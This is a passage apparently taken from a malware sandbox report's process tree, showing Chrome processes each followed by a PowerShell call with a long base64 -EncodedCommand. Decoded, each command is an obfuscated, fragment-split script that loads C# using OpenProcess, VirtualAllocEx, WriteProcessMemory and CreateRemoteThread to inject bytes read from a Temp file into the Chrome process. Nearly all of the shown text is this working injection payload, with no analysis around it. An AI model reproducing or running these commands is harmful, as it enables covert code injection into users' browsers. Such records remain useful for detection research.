QBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                      PID:5768
                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                        PID:1504
                                                                                                                                                                                                                                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                        C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADEANQAwADQAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADIANgA1AEMALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                          PID:4784
                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                            PID:5920
                                                                                                                                                                                                                                                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADUAOQAyADAAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADMANAAxADkALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                              PID:4396
                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                PID:5176
                                                                                                                                                                                                                                                              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADUAMQA3ADYAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADQAMQA1ADkALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAs